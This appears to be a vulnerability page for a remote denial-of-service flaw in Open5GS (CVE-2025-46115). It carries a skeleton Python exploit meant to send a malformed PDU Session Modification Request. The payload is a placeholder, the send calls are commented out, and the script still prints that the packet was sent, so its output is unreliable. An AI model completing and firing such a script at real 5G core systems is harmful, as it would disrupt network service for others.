CVE-2025-46115 Open5GS远程拒绝服务漏洞

# Proof of Concept for CVE-2025-46115 # This script demonstrates the concept of sending a malformed PDU Session Modification Request. # Note: Actual payload hex values would depend on specific protocol analysis. import socket TARGET_IP = "192.168.1.100" # Replace with target Open5GS IP TARGET_PORT = 38412 # Example port for SCTP/NGAP, adjust based on configuration # Malformed NAS PDU Session Modification Request payload (Placeholder) # In a real scenario, this hex string would contain the specific malformed IE causing the crash. malformed_payload = bytes.fromhex("<HEX_PAYLOAD_HERE>") def send_exploit(): try: # Create a socket connection (SCTP is often used, TCP shown for simplicity) print(f"[*] Sending exploit packet to {TARGET_IP}:{TARGET_PORT}") # Note: Open5GS typically uses SCTP, requiring sctp library instead of standard socket # This is a conceptual representation. # s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # s.connect((TARGET_IP, TARGET_PORT)) # s.send(malformed_payload) # s.close() print("[+] Packet sent successfully. Check service availability.") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": send_exploit()